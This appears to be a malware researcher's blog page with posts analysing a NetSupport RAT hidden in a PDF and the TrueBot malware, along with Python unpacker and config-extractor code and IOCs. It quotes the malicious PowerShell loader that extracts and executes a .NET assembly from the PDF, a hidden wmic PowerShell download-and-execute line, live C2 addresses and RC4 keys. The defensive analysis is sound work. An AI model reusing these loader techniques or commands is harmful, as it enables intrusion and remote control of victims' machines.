First world cyber problems

From Tweet to Threat: Exposing NetSupport RAT embedded in a PDF

Wed, 21 Feb 2024 21:44:22 +0100

From time to time I tidy up my thousands of open browser tabs, and this time I came across something that I wanted to look at a few weeks ago but had forgotten about. It’s a tweet from MalwareHunterTeam about a probably interesting sample called Evotec Project Brief and MCDA (Cenk Cetin).zip.

My interest was piqued since Evotec is a German company, and it appears that a specific person is being targeted based on the file name. To make sure, I googled the apparently targeted person, and indeed he works for Evotec in a role that makes him an interesting target for attackers. The file name of the sample also looks interesting to me, although I had no idea what MCDA meant until just now, but apparently it stands for Multi-Criteria Decision Analysis and is a tool used to evaluate and prioritise different options based on multiple criteria. I have no information about whether the respective person or Evotec really received this file and, if so, through which channel the file was received.

However, let’s start with the analysis.

Initial Triage

The sample that MalwareHunterTeam mention in their tweet is a ZIP archive containing three files:

Bridge Strategy Group Win-Win Sourcing.pdf
BSG Signed_MUTUAL CDA TEMPLATE_EVOTEC INTERNATIONAL GMBH_V1.lnk
Client Project Brief.pdf

When opening the PDFs, you will just see a suspicious warning that you don’t have access and nothing happens. What is noticeable here is the size of the two PDFs. While one PDF has a normal size for the given content, the other file appears way too big, but more on that in a moment.

To analyse the .lnk file I used LnkParse3 which pretty nicely shows me that the .lnk file tries to execute powershell with the following command line:

-OutputFormat Text -Com sal aat 'iex'; gci -r -ea 0 'Evotec Project Brief and MCDA (Cenk Cetin).zip' | 
Expand-Archive; gc -Tail 1 '.\Evotec Project Brief and MCDA (Cenk Cetin)\Evotec Project Brief and MCDA (Cenk Cetin)\Bridge Strategy Group Win-Win Sourcing.pdf' | 
aat

I don’t want to go into detail about the whole command line, but what is important here is the last part:

gc -Tail 1 ..\Bridge Strategy Group Win-Win Sourcing.pdf

Get-Content is aliased as gc and is used to get the content of Bridge Strategy Group Win-Win Sourcing.pdf. Used together with -Tail 1, it only gets the last line of the PDF file.

The Powershell code is relatively straightforward to read and ultimately does nothing more than extract data from the PDF in order to build and execute a .NET executable.

$a = '
    cd "$env:HOMEDRIVE$env:HOMEPATH";
    
    $p = "Evotec Project Brief and MCDA (Cenk Cetin)\Evotec Project Brief and 
          MCDA (Cenk Cetin)\Bridge Strategy Group Win-Win Sourcing.pdf";
          
    $l = new-object byte[] 7680;

    $l2 = [IO.File]::ReadAllBytes($p);

    for ($i = 0; $i -lt $l.length; $i++) {
        $l[$i] = $l2[2410847 + $i * 2]
    }

    [Reflection.Assembly]::Load($l);

    [oOfOIlyan.JfiDDCviWwB]::HJmWnhgQTsEN(
        "Tempsoft-0.51",
        $p,
        18310,
        2392537,
        40,
        "Evotec Project Brief and MCDA (Cenk Cetin)\Evotec Project Brief and 
        MCDA (Cenk Cetin)\Bridge Strategy Group Win-Win Sourcing.pdf",
        3
    )
';

Start-Job {
    param($e) 
    iex $e
} -Arg $a | Wait-Job | Receive-Job

.NET Loader

The resulting .NET file is obfuscated with ConfuserEx and was uploaded to VirusTotal for the first time one day after the original tweet.

There are a whole range of tools to deobfuscate ConfuserEx so let me just say that I used de4dot, ConfuserExStringDecryptor and ConfuserExSwitchKiller to do that.

After running these tools, the sample was perfectly readable with ILSpy and also matches the call from the Powershell script above.

The .NET itself has a very limited range of functions and is only ~8KB in size. It has the task of extracting further code from the original PDF, executing/persisting it and executing a decoy.

Persistence via AutoRun key:

Create Process via WMI:

NetSupport

The code extracted from the PDF by the .NET Loader is a ZIP archive, which turns out to be NetSupport when unpacked. Now we also know why the PDF file is so abnormally big ;).

As usual with NetSupport, the C2s are located in an .ini file and are stored in plain text.

0x49625f89

[Client]
_present=1
ValidAddresses.TCP=*
SysTray=0
DisableDisconnect=1
DisableReplayMenu=1
SecurityKey2=dgAAAO8iMOjrm9xnmOQXfBlmNwwA
Protocols=3
Shared=1
SOS_LShift=0
silent=1
DisableChat=1
DisableChatMenu=1
UnloadMirrorOnDisconnect=0
AutoICFConfig=1
AlwaysOnTop=0
SOS_Alt=0
DisableMessage=1
DisableRequestHelp=1
SOS_RShift=0
Usernames=*

[_License]
quiet=1

[_Info]
Filename=C:\Users\Public\NetSups\client32-u.ini

[General]
BeepUsingSpeaker=0

[HTTP]
CMPI=60
GatewayAddress=40.124.123.4:443
GSK=HA;E>HBKHA;E?EBFFH;N=O@BEJ
Port=443
SecondaryGateway=54.86.192.214:443
SecondaryPort=443

Conclusion

As mentioned in the beginning, I have no indication whether the specific person or the company Evotec was targeted. I just saw the tweet, thought it might be exciting and got started. It could be a targeted attack against Evotect, but it could also be a test/trolling/redteam-engagement/whatever. Even though the analysis was relatively straightforward and not particularly complicated, I’ve never read or heard of this approach before, but I haven’t done much research either. I did not check the C2s in detail and I also did not try to attribute to some threat actor. Perhaps someone is willing to continue with the information available here. In any case, I would be delighted to hear back if there are any new findings.

IOCs

Evotec Project Brief and MCDA (Cenk Cetin).zip
7a9b6e833b1b4dd359be7b61ea7b35837ece1ec5b65ffa1298d86fdb66f4e0b5

BSG Signed_MUTUAL CDA TEMPLATE_EVOTEC INTERNATIONAL GMBH_V1.lnk
dd5d3c62912d103d54f0e411a67b1f2c5210e5f18a11ebfdf5aae8a89330c7a9

Bridge Strategy Group Win-Win Sourcing.pdf
9923cd7b6bf3a4a917c62388e123c8d96994604c1de906b46bf1270f8027bb78

Client Project Brief.pdf
152e1a9886872cbee3c6012b89f8a0619c601f242e17084a5c5fb1e80e093eb3 

.NET Loader
23b41610d31dca18498ab64f41b8ab3b1cde549cfbe1c6c00aad17dd14fd55b3

C2:
40.124.123[.]4:443
54.86.192[.]214:443

TrueBot Analysis Part IV - Config Extraction

Thu, 13 Jul 2023 22:29:22 +0200

In the last post of the TrueBot series, I described some of TrueBot’s capabilities in more detail. In this post I will use this information to write a config extractor and extract the RC4 key for the C2, the mutex and the C2 IPs/domains.

Like in all config extractors, I need to somehow find the relevant things I want to extract.

Usually, I use YARA to navigate within the binary but this time, I wanted to try something different.
TL;DR - It’s not easier than YARA and does not work in all cases, but only in a specific case.

My idea was to use SMDA from Daniel Plohmann to identify all RC4-/Base64 and CreateMutex calls based on their structure (amount of basic blocks, incoming/outgoing calls, etc.). This approach works for different sets of samples but unfortunately not for all samples, so I found myself implementing a lot of exceptions for certain sets of samples.
The code thus became very unreadable and unnecessarily complicated. I therefore decided to use SMDA only for finding the CreateMutex call and to find the other things in a more “simple” way. For the second RC4 key, the one used to decrypt downloaded payloads, I haven’t found an easy solution to extract it reliably for all samples. It is easy to find in the binary, but not easy to extract programmatically without implementing a lot of edge cases. I have therefore decided to not extract the second RC4 key.

CreateMutex() and arguments

To find the address of the call to CreateMutex, I use SMDA to get all API calls available in the binary and look for the string kernel32.dll!CreateMutex. In all observed TrueBot samples, there is only one call to CreateMutex, so I don’t have to deal with multiple calls.

    disassembler = Disassembler()
    report = disassembler.disassembleFile(args.file)
    functions = report.getFunctions()
    
    for fn in functions:
    	for addr, name in fn.apirefs.items():
        	if 'kernel32.dll!CreateMutex' in name:
            	# Find the argument for the CreateMutex call
                ...

When found the address, I use YARA to find the push instruction nearby the call to CreateMutex and just read the argument with Malduck.

Base64 decode calls and strings

As mentioned before, the usual idea was to find the Base64 decoding calls in the binary via SMDA. However, it turned out that this did not really work reliably for all samples available to me without implementing a number of exceptions.
I therefore decided to use a trivial approach, which, however, works surprisingly reliably.

To find all Base64 strings, I just search for all strings in the binary and try to Base64 decode them. If this succeeds without an exception, I have found a base64 string and can use it later on.

    def extract_ascii_strings(data, min_len=16):

        chars = b" !\"#\$%&\'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNO" \
                b"PQRSTUVWXYZ\[\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}\\\~\t"
    
        string_list = []
        regexp = b'[%s]{%d,}' % (chars, min_len)
        pattern = re.compile(regexp)
        for s in pattern.finditer(data):
            string_list.append(s.group().decode())
        return string_list
    
        ...
    
        lazy_b64_pattern = re.compile('^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]'
                                      '[AQgw]==|[A-Za-z0-9+/]{2}[AEIMQUYcgkosw048]=)?$')
    
        b64_strings = []
        extracted_strings = extract_ascii_strings(data, min_len=16)
    
        for s in extracted_strings:
            for a in lazy_b64_pattern.finditer(s):
                tmp = a.group()
                try:
                    decoded = base64.b64decode(tmp).decode("utf-8")
                    logger.info(f'Found {tmp} string.')
                    b64_strings.append(decoded)
                except:
                    # ignore all non base64 strings
                    pass

Decrypt the C2

Similar to the Base64 decode calls, finding the RC4 Calls with SMDA and then navigating to the key via YARA is a pain because the structure is different in a lot of samples and it just does not work reliably. Since I already found the Base64 strings before, I just need to b64decode them and then URL decode the result. Then I can bruteforce the result with all strings I collected before. Since I know, how the decrypted string will look like (e.g. must be a valid domain, always includes .php), it’s quite easy to find the domain and the page.

    c2 = ''
    rc4_key = ''
    for item in extracted_strings:
        item = item.encode('utf-8')
        for decoded_b64_string in b64_strings:
            decoded = urllib.parse.unquote_to_bytes(decoded_b64_string)
            try:
                decrypted = malduck.rc4(item, decoded)
                if decrypted:
                    decrypted = decrypted.decode('ascii')
                    if c2:
                        if '.php' in decrypted:
                            c2 += decrypted
                            break
                    elif '.' in decrypted:  # lazy check
                        logger.debug(f'Successfully decrypted with key {item}: {decrypted}')
                        c2 += decrypted
                        rc4_key = item
            except:
                pass

Testing

I tested my code against the following hashes. Please note that the code is kinda slow because of SMDA. If you don’t need the mutex, just comment it out and it will run much faster.

05c72e77d14cee079ac94706759dfe77c27fe51731a1eca22b03352190087e9e 
80b9c5ec798e7bbd71bbdfffab11653f36a7a30e51de3a72c5213eafe65965d9
0e3a14638456f4451fe8d76fdc04e591fba942c2f16da31857ca66293a58a4c3 
894a7d13d4bd0925e4ec64a401b818ab11ddccac96111d54e10ec32b221d198a
1415f335a0c29fecc3309c8370c8bebefab590de35f206aa9d83861e38d0b74b 
97bae3587f1d2fd35f24eb214b9dd6eed95744bed62468d998c7ef55ff8726d4
20af4f3b3d38c770a6539ea716d505fe17962d26a7ad7fa9d5e15dae0838618d 
97d0844ce9928e32b11706e06bf2c4426204d998cb39964dd3c3de6c5223fff0
22e3f4602a258e92a0b8deb5a2bd69c67f4ac3ca67362a745178848a9da7a3cc 
a0dc543073acd80e4cd97aefb057f030d419787647c7d2a3adb3f32efa9c22a6
32ae88cddeeeec255d6d9c827f6bffc7a95e9ea7b83a84a79ff793735a4b4ed7 
a30e1f87b78d1cd529fbe2afdd679c8241d3baab175b2f083740263911a85304
36d89f0455c95f9b00a8cea843003d0b53c4e33431fe57b5e6ec14a6c2e00e99 
a67df0a8b32bdc5f9d224db118b3153f66518737e702314873b673c914b2bb5c
3cd5c0ae2e8bb1397a8e89ad3539606f692d2570a50c7a282e47551dd801b3ab 
af21e8bbd82c03bf72dffc3ef14fcdce25f3b42aec57cf23812d402332ffeb2e
459016820777fea8602b9a58c5f8d21b8fc4574aa5913390a843fedae2eac3e0 
b95a764820e918f42b664f3c9a96141e2d7d7d228da0edf151617fabdd9166cf
47f962063b42de277cd8d22550ae47b1787a39aa6f537c5408a59b5b76ed0464 
c042ad2947caf4449295a51f9d640d722b5a6ec6957523ebf68cddb87ef3545c
4862618fcf15ba4ad15df35a8dcb0bdb79647b455fea6c6937c7d050815494b0 
c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125
4e04e8b780acaf693f860184db29d3420f6b6d8176b8b3c73e3c813de4550e62 
c944a6a872f16a744ec3a83d1bb339ebc31313ad71eecc4784bb49abc97e0ba4
51fa720e8789821ef57e31381ebae5b70999402320efe7f50b952ace6968f4a2 
c9b874d54c18e895face055eeb6faa2da7965a336d70303d0bd6047bec27a29d
54f33d06e2898f0968cb7ba552bc71e4459832637f154e21a4825d22eb9336eb 
d408df352b4b9e27c217b8fecdf1136174e15c5164267eddf88e35094093bb36
594ade1fb42e93e64afc96f13824b3dbd942a2cdbc877a7006c248a38425bbc1 
dfde0f94a69d0f68a8846e400748bb89bc8900059a64b1dd05e6a3226db2ca92
5cc8c9f2c9cee543ebac306951e30e63eff3ee103c62dadcd2ce43ef68bc7487 
e0178ab0893a4f25c68ded11e74ad90403443e413413501d138e0b08a910471e
6a565088c66a78dd0362af9766b8ddf424afcbee20e167c0aa1131f8a518baa7 
ed38c454575879c2546e5fccace0b16a701c403dfe3c3833730d23b32e41f2fe
6b646641c823414c2ee30ae8b91be3421e4f13fa98e2d99272956e61eecfc5a1 
f9f649cb5de27f720d58aa44aec6d0419e3e89f453730e155067506ad3ece638
717beedcd2431785a0f59d194e47970e9544fbf398d462a305f6ad9a1b1100cb 
ff3c79e793f5b803554542435d164867aa0d3672897e131832c3c3ba15bbe9ae
7c607eca4005ba6415e09135ef38033bb0b0e0ff3e46d60253fc420af7519347 
ff8c8c8bfba5f2ba2f8003255949678df209dbff95e16f2f3c338cfa0fd1b885
7c79ec3f5c1a280ffdf19d0000b4bfe458a3b9380c152c1e130a89de3fe04b63

Results:

sha256:05c72e77d14cee079ac94706759dfe77c27fe51731a1eca22b03352190087e9e
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:0e3a14638456f4451fe8d76fdc04e591fba942c2f16da31857ca66293a58a4c3
c2:qweastradoc.com/gate.php
rc4_key_c2:duwureLycirifysy
mutex:IFjwi312fu321321rfewfew

sha256:1415f335a0c29fecc3309c8370c8bebefab590de35f206aa9d83861e38d0b74b
c2:midnigthwaall.com/gate.php
rc4_key_c2:NevucyNyUaXyraIy
mutex:FuckingShitonAllEarth#666

sha256:20af4f3b3d38c770a6539ea716d505fe17962d26a7ad7fa9d5e15dae0838618d
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:GLOIUTWISPFKr2tfsg432

sha256:22e3f4602a258e92a0b8deb5a2bd69c67f4ac3ca67362a745178848a9da7a3cc
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:32ae88cddeeeec255d6d9c827f6bffc7a95e9ea7b83a84a79ff793735a4b4ed7
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:36d89f0455c95f9b00a8cea843003d0b53c4e33431fe57b5e6ec14a6c2e00e99
c2:ronoliffuion.com/dns.php
rc4_key_c2:TiCacyTumoQifixu
mutex:LjdDlkfdslkfj328ewfujsifj32oirew

sha256:3cd5c0ae2e8bb1397a8e89ad3539606f692d2570a50c7a282e47551dd801b3ab
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:459016820777fea8602b9a58c5f8d21b8fc4574aa5913390a843fedae2eac3e0
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:47f962063b42de277cd8d22550ae47b1787a39aa6f537c5408a59b5b76ed0464
c2:dremmfyttrred.com/dns.php
rc4_key_c2:WoOoHequZeMyNusa
mutex:KisujIIs3fsfsSOFldsfds

sha256:4862618fcf15ba4ad15df35a8dcb0bdb79647b455fea6c6937c7d050815494b0
c2:essadonio.com/538332.php
rc4_key_c2:qaTuMuseBaMuQoNe
mutex:OrionStartWorld#666

sha256:4e04e8b780acaf693f860184db29d3420f6b6d8176b8b3c73e3c813de4550e62
c2:185.55.243.110/gate.php
rc4_key_c2:HirisuTiZoKaMyEe
mutex:GLOIUTWISPFKr2tfsg432

sha256:51fa720e8789821ef57e31381ebae5b70999402320efe7f50b952ace6968f4a2
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:54f33d06e2898f0968cb7ba552bc71e4459832637f154e21a4825d22eb9336eb
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:594ade1fb42e93e64afc96f13824b3dbd942a2cdbc877a7006c248a38425bbc1
c2:dremmfyttrred.com/dns.php
rc4_key_c2:WoOoHequZeMyNusa
mutex:KisujIIs3fsfsSOFldsfds

sha256:5cc8c9f2c9cee543ebac306951e30e63eff3ee103c62dadcd2ce43ef68bc7487
c2:jirostrogud.com/gate.php
rc4_key_c2:KuXoZowywoCyKawi
mutex:IFjwi312fu321321rfewfew

sha256:6a565088c66a78dd0362af9766b8ddf424afcbee20e167c0aa1131f8a518baa7
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:6b646641c823414c2ee30ae8b91be3421e4f13fa98e2d99272956e61eecfc5a1
c2:nomoresense.com/checkinfo.php
rc4_key_c2:HeSaXuEyfoEaKiTy
mutex:vxzcsdbfhk523wfesfFESRSUDHD

sha256:717beedcd2431785a0f59d194e47970e9544fbf398d462a305f6ad9a1b1100cb
c2:essadonio.com/538332.php
rc4_key_c2:qaTuMuseBaMuQoNe
mutex:OrionStartWorld#666

sha256:7c607eca4005ba6415e09135ef38033bb0b0e0ff3e46d60253fc420af7519347
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:GLOIUTWISPFKr2tfsg432

sha256:7c79ec3f5c1a280ffdf19d0000b4bfe458a3b9380c152c1e130a89de3fe04b63
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:GLOIUTWISPFKr2tfsg432

sha256:80b9c5ec798e7bbd71bbdfffab11653f36a7a30e51de3a72c5213eafe65965d9
c2:jirostrogud.com/gate.php
rc4_key_c2:KuXoZowywoCyKawi
mutex:dsdf2tr325r32wgt32

sha256:894a7d13d4bd0925e4ec64a401b818ab11ddccac96111d54e10ec32b221d198a
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:97bae3587f1d2fd35f24eb214b9dd6eed95744bed62468d998c7ef55ff8726d4
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:kknfexkseiK

sha256:97d0844ce9928e32b11706e06bf2c4426204d998cb39964dd3c3de6c5223fff0
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:a0dc543073acd80e4cd97aefb057f030d419787647c7d2a3adb3f32efa9c22a6
c2:midnigthwaall.com/gate.php
rc4_key_c2:NevucyNyUaXyraIy
mutex:FuckingShitonAllEarth#666

sha256:a30e1f87b78d1cd529fbe2afdd679c8241d3baab175b2f083740263911a85304
c2:hiperfdhaus.com/gate.php
rc4_key_c2:mufaKanuIuKoQiCy
mutex:LKJFggwithj24ikjofw23

sha256:a67df0a8b32bdc5f9d224db118b3153f66518737e702314873b673c914b2bb5c
c2:dremmfyttrred.com/dns.php
rc4_key_c2:WoOoHequZeMyNusa
mutex:LjdDlkfdslkfj328ewfujsifj32oirew

sha256:af21e8bbd82c03bf72dffc3ef14fcdce25f3b42aec57cf23812d402332ffeb2e
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:b95a764820e918f42b664f3c9a96141e2d7d7d228da0edf151617fabdd9166cf
c2:hiperfdhaus.com/gate.php
rc4_key_c2:mufaKanuIuKoQiCy
mutex:LKJFggwithj24ikjofw23

sha256:c042ad2947caf4449295a51f9d640d722b5a6ec6957523ebf68cddb87ef3545c
c2:qweastradoc.com/gate.php
rc4_key_c2:duwureLycirifysy
mutex:IFjwi312fu321321rfewfew

sha256:c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125
c2:ber6vjyb.com/dns.php
rc4_key_c2:QimuKexufeUeDoti
mutex:ASPODIKAFLKJoieLUFESJFuiewr

sha256:c944a6a872f16a744ec3a83d1bb339ebc31313ad71eecc4784bb49abc97e0ba4
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:c9b874d54c18e895face055eeb6faa2da7965a336d70303d0bd6047bec27a29d
c2:qweastradoc.com/gate.php
rc4_key_c2:duwureLycirifysy
mutex:IFjwi312fu321321rfewfew

sha256:d408df352b4b9e27c217b8fecdf1136174e15c5164267eddf88e35094093bb36
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:kknfexkseiK

sha256:dfde0f94a69d0f68a8846e400748bb89bc8900059a64b1dd05e6a3226db2ca92
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:e0178ab0893a4f25c68ded11e74ad90403443e413413501d138e0b08a910471e
c2:dragonetzone.com/gate_info.php
rc4_key_c2:NacuMydaguxoleba
mutex:FuckingShitonAllEarth#666

sha256:ed38c454575879c2546e5fccace0b16a701c403dfe3c3833730d23b32e41f2fe
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:kknfexkseiK

sha256:f9f649cb5de27f720d58aa44aec6d0419e3e89f453730e155067506ad3ece638
c2:nomoresense.com/checkinfo.php
rc4_key_c2:HeSaXuEyfoEaKiTy
mutex:vxzcsdbfhk523wfesfFESRSUDHD

sha256:ff3c79e793f5b803554542435d164867aa0d3672897e131832c3c3ba15bbe9ae
c2:nefosferta.com/gate.php
rc4_key_c2:OumaOyIuRymuZyOi
mutex:xUjfUjUtazdabr325

sha256:ff8c8c8bfba5f2ba2f8003255949678df209dbff95e16f2f3c338cfa0fd1b885
c2:qweastradoc.com/gate.php
rc4_key_c2:duwureLycirifysy
mutex:(u3qkfewi3ujrk32lqpti32ofwq

Code can be found here.

If you find bugs or other samples, you know the drill ;-).

TrueBot Analysis Part III - Capabilities

Fri, 31 Mar 2023 22:29:22 +0200

After we have dealt with TrueBot’s packer in Part I and Part II, we can now finally analyze its core and see if we find something useful to extract in the next part.

Every unpacked sample I’ve seen so far looks pretty much identical. In this case, we’ll analyze c042ad2947caf4449295a51f9d640d722b5a6ec6957523ebf68cddb87ef3545c.

At the beginning there is a lot of stuff going on that I haven’t analyzed and probably never will because it seems like it’s just garbage. The interesting part starts further down (marked red in the figure below):

Fortunately, TrueBot’s code is pretty well readable. There are no encrypted strings except the C2. API calls are properly imported and referenced and there is no anti-analysis/debug functionality.

Get the C2

Right at the start of the interesting code block, we can see three strings which look suspicious. Two of them are obviously Base64 encoded strings and are passed as arguments to the b64_decode() function, the other is passed as an argument to a function that turns out to be a RC4 decryption function.

Before decrypting the Base64 decoded string, the string is passed to a URL Decode function for whatever reason.

When decoding the Base64 strings we get the following results:

echo "OSVlZSVmMCU4ZU9ZJTk3RC0lYjYlMGQlYWYlMDVYLg==" | base64 -D
9%ee%f0%8eOY%97D-%b6%0d%af%05X.

echo "ZyVmZSVmNCU5YlklMDMlOTVNOQ==" | base64 -D
g%fe%f4%9bY%03%95M9

After putting the Base64 decoded string into the url_decode function, we get the decoded bytes for the encrypted C2.

9%ee%f0%8eOY%97D-%b6%0d%af%05X. =>  39 EE F0 8E 4F 59 97 44 2D B6 0D AF 05 58 2E
g%fe%f4%9bY%03%95M9             =>  67 fe f4 9b 59 03 95 4d 39

In the next steps, TrueBot is RC4 decrypting both of the earlier decoded bytes.

39 EE F0 8E 4F 59 97 44 2D B6 0D AF 05 58 2E    => qweastradoc.com
67 fe f4 9b 59 03 95 4d 39                      => /gate.php

Persistence

Before persisting itself, TrueBot creates a Mutex (IFjwi312fu321321rfewfew) to check if another instance of itself is running, if so, it will terminate via ExitProcess(0).

Right after creating the mutex, TrueBot tries to persist itself by creating a scheduled task via a COM Interface.

TrueBot supports both the Task Scheduler 1.0 and 2.0 API and therefore uses the respective different CLSIDs.

Task Scheduler 1.0 API - Pre-Vista: 148BD52A-A2AB-11CE-B11F-00AA00530503
Task Scheduler 2.0 API - Vista and higher: 0F87369F-A4E5-4CFC-BD3E-73E6154572DD

The scheduled task is set up to run after each login and is configured to execute TrueBot via rundll32.exe.

C2 Communication

Right after persisting itself, TrueBot gathers information from the infected system which will be sent to the C2. To get rid of “unwanted” processes, TrueBot filters those against a hardcoded list of keywords.

All other collected process names are then concatenated with | as a delimiter and stored into a buffer.

After collecting the processes, TrueBot searches for the existence of files with the file extension .JSONIP. If there is no such file, it will be created with a random 13 character alphabetical name for example C:\ProgramData\QdJLLvdcYfqmK.JSONIP. TrueBot will then create a new GUID with the following formula:

wsprintfA(buffer, "%08x-%08x", pguid.Data3 + pguid.Data1 * pguid.Data2, pguid.Data1 * pguid.Data2 - pguid.Data3);

and write it into the newly created file. The GUID and the previously collected processes are combined into a string, which is then URL encoded. The result before the URL encoding looks like this:

The URL encoded data is then encoded with Base64 and sent to the C2 on port 80 with a self crafted HTTP Request:

After sending the initial data to the C2, TrueBot performs some kind of connectivity check by trying to connect to google.com. If it fails, it will try again after one second unless it is successful.

When successful, TrueBot is trying to get the victims DNS domain and the hostname by calling GetComputerNameExA() twice.

In the last step before sending data to the C2, TrueBot tries to identify the operating system version via GetVersionExA() and depending on the VersionInformation, it just returns a number which is then used as an index for a hardcoded OS Version array:

Finally, TrueBot constructs the data string which will be sent to the C2:

Like the collected processes earlier, the string will be URL and Base64 encoded and send to the C2 with the following post request:

POST /gate.php HTTP/1.0\r\n
Host: qweastradoc.com\r\n
Content-type: application/x-www-form-urlencoded\r\n
Content-length: 116\r\n
\r\n
biUzZGQ2MDQzYmYyLWQ2MDNhMjlhJTI2byUzZFdJTjEwJTI2YSUzZDY0JTI2dSUzZFdPUktHUk9VUCUyNnAlM2RERVNLVE9QLTEyT0tCSEklMjZkJTNk

After sending the POST request, TrueBot is expecting one of the following commands from the C2:

KLLS
PS1
SHC
S64

The commands PS1, SHC and S64 will only be executed if there is a “http” string in front of them, for example:

http|PS1

I’m not sure if this is intended by the author and how the real response from the C2 looks like but at least during debugging, this seems to work, see the following image:

KLLS: Terminates itself via cmd.exe for example C:\WINDOWS\system32\cmd.exe /c del C:\Users\user\Desktop\tbot.dll >> NUL

PS1: Download and execute a Powershell script via wmic.exe e.g. wmic.exe process call create "powershell -executionpolicy bypass -nop -w hidden %s"

SHC: Download and execute Shellcode

S64: Download and execute Shellcode with higher privileges (if possible)

For the commands PS1, SHC and S64, the received Payload from the C2 will first be decrypted with RC4 again but this time with another RC4 key, in this case OfgjkwsikhU23.

In the next blogpost, we’ll do some more coding again and write a config extractor that extracts the most important artifacts from the binary. Stay tuned.

IOCs:

c042ad2947caf4449295a51f9d640d722b5a6ec6957523ebf68cddb87ef3545c
qweastradoc[.]com

TrueBot Analysis Part II - Static unpacker

Sat, 18 Feb 2023 23:47:22 +0100

In my last post, I described how to identify the decryption key, the encrypted blob and how the decryption algorithm works in a packed TrueBot sample. Doing this manually with help of your favorite Disassembler/Decompiler is quite easy, but I guess, that’s not why you are here. What we want is a static unpacker, written in Python, without using any external tools or too many dependencies (except Malduck 🦆).

Depending on the sample you’re analyzing, writing a static unpacker can be a challenging task, especially if you’re dealing with several layers of encryption, junk code, control-flow obfuscation and so on.

Fortunately, TrueBot doesn’t make it particularly difficult for us here. Nevertheless, the code will end up looking a bit ugly since we want to write an unpacker for all samples available to us. But maybe that is just because of my programming style. By the way, I do not use a lot of error handling in my code so please be merciful.

In a nutshell, the basic methodology for our code looks as follows:

Identify the encrypted blob, ideally with its length.
Locate and parse the decryption key and the value for the AND operation.
Decrypt and save the dump.

As I already described in Part I of my analysis, the most common variant in those packed samples is a DLL Export which directly calls the decryption function with the offset of the decrypted blob and the blob size as arguments.

This call can be identified easily and without false positives, at least in the samples I analyzed. In order to accomplish this, we use Malduck, our “ducky companion in malware analysis journeys”.

To find the call, we utilize Malduck’s built-in Yara wrapper, looking for the two pushes and the beginning of the call, see the green box in the screenshot above. Since we don’t know the exact size of the blob, we’re using the wildcards ?? and estimate that the size is between 0x40000 and 0x6FFFF.

pe = malduck.procmempe.from_file(filename=abs_file_path, image=True)
s1 = YaraString('68 ?? ?? (04 | 05 | 06) 00 68 ?? ?? ?? ?? E8',
                    type=YaraString.HEX)
decrypt_blob_call = Yara(name="decrypt_blob_call", strings={"call": s1}, condition="all of them")
match = pe.yarav(ruleset=decrypt_blob_call)
offset = None
if match:
    for _, v in match.elements["decrypt_blob_call"].elements.items():
        offset = v[0]  # there should only be one match (hopefully)

Our file is loaded as memory-mapped PE file, so we will use yarav() to perform yara matching region-wise.

This will also help us to debug more easily because we can confirm matching offsets in our Disassembler (check the hex value against the virtual address in the screenshot above).

Since we are now (0x10001620 in this example) near the position where the decryption function is called, we can determine the length and the virtual address of the encrypted blob and also get the virtual address of the decryption function.

To get the blob size, we need to read 4 bytes, starting from the identified address before +1 (because of the push opcode), see the screenshot below.

You can either call pe.readv(addr, length) or just use Malduck’s handy helper functions like uint32v(addr) which for example reads an unsigned 32-bit value at the given address.

blob_size = pe.uint32v(vaddr + 1) #Read unsigned 32-bit value at address.

Getting the virtual address where the decrypted blob is stored, works similar.

blob_va = pe.uint32v(vaddr + 1 + 4 + 1)

Now we only need the key and the value for the “AND” operation to decrypt the blob. The approach is similar to the one already described above. We know the virtual address of the decryption functions and have an approximate idea how big the function is. Therefore, we can now search for the required information in between this function, see the code to find the key here and to find the value for the “AND” operation here.

After collecting the blob and the decryption material, we should be able to decrypt the blob with help of the decryption function mentioned in Part I of this series.

I’ve published the whole code on github and tested against all the samples available to me. When running the script on all samples, it should look like this.

Like most static unpackers/config extractors/etc., this code might break easily if some bytes at specific positions change and you will probably have to continuously adapt the Unpacker to new samples. I am therefore very interested in new samples. If someone has some, please get in touch with me.

Now that we have a bunch of unpacked samples, the next post in this series will focus on TrueBot’s capabilities before we then write a Config Extractor using Python and Malduck.

TrueBot Analysis Part I - A short glimpse into packed TrueBot samples

Sun, 12 Feb 2023 22:54:22 +0100

